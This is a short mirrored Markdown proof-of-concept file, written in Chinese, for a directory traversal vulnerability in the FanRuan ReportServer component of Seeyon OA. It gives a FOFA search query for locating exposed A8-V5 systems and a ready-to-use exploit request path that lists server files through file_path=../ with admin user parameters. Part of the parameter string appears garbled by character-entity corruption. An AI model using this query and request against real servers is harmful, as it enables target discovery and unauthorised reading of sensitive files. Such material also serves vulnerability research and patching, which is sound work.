mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
17 lines
483 B
Markdown
17 lines
483 B
Markdown
|
## 致远OA帆软组件ReportServer目录遍历漏洞
|
|||
|
|
|
|||
|
|
致远OA 帆软组件 ReportServer接口存在目录遍历漏洞，攻击者通过漏洞可以获取服务器敏感信息
|
|||
|
|
|
|||
|
|
## fofa
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
title="致远A8-V5协同管理软件 V6.1sp1"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/seeyonreport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../¤tUserName=admin¤tUserId=1&isWebReport=true
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|